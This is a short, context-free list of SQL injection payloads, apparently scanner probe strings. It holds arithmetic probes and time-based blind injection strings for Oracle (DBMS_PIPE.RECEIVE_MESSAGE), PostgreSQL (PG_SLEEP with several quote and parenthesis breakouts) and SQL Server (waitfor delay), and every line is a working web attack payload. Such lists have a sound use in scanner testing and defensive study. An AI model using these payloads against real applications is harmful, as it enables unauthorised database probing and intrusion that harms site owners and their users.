(select 198766*667891 from DUAL)

(select 198766*667891)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

5556GTM1PbE')) OR 313=(SELECT 313 FROM PG_SLEEP(15))--

5552iq57soo') OR 255=(SELECT 255 FROM PG_SLEEP(15))--

555wqJ5lXPu' OR 286=(SELECT 286 FROM PG_SLEEP(15))--

555-1)) OR 493=(SELECT 493 FROM PG_SLEEP(15))--

555-1) OR 887=(SELECT 887 FROM PG_SLEEP(15))--

555-1 waitfor delay '0:0:15' --